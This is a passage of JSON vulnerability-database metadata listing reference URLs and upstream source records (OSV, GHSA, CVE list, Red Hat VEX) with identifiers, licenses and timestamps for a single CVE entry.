.com/show_bug.cgi?id=2563189"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-118661"}],"sources":[{"provider":"osv","source_id":"CLSA-2026-1793700814","url":"https://osv.dev/vulnerability/CLSA-2026-1793700814","modified_at":"2026-11-03T13:30:04.059695Z","relation":"upstream"},{"provider":"osv","source_id":"CLSA-2026-1793974322","url":"https://osv.dev/vulnerability/CLSA-2026-1793974322","modified_at":"2026-11-06T19:00:04.387927Z","relation":"upstream"},{"provider":"osv","source_id":"CLSA-2026-1793974458","url":"https://osv.dev/vulnerability/CLSA-2026-1793974458","modified_at":"2026-11-06T19:00:03.376785Z","relation":"upstream"},{"provider":"osv","source_id":"CLSA-2026-1793974549","url":"https://osv.dev/vulnerability/CLSA-2026-1793974549","modified_at":"2026-11-06T19:00:03.387649Z","relation":"upstream"},{"provider":"osv","source_id":"CLSA-2026-1793974658","url":"https://osv.dev/vulnerability/CLSA-2026-1793974658","modified_at":"2026-11-06T19:00:03.394776Z","relation":"upstream"},{"provider":"osv","source_id":"CLSA-2026-1793981813","url":"https://osv.dev/vulnerability/CLSA-2026-1793981813","modified_at":"2026-11-06T19:00:02.357632Z","relation":"upstream"},{"provider":"cvelistv5","source_id":"CVE-2026-118661","url":"https://www.cve.org/CVERecord?id=CVE-2026-118661","license":"CC-BY-4.0","modified_at":"2026-11-03T13:33:35.617Z","relation":"self"},{"provider":"osv","source_id":"DHI-and3-u7qm-xo5k-ptmd","url":"https://osv.dev/vulnerability/DHI-and3-u7qm-xo5k-ptmd","license":"Apache-2.0","modified_at":"2026-11-16T02:34:45.296536Z","relation":"self"},{"provider":"osv","source_id":"GHSA-5fpq-26gf-qwcr","url":"https://osv.dev/vulnerability/GHSA-5fpq-26gf-qwcr","license":"CC-BY-4.0","modified_at":"2026-10-28T21:15:05.09502Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2026-118661","url":"https://access.redhat.com/security/cve/CVE-2026-118661","license":"CC-BY-4.0","modified_at":"2026-10-29T14:20:02Z","relation":"self"}]}
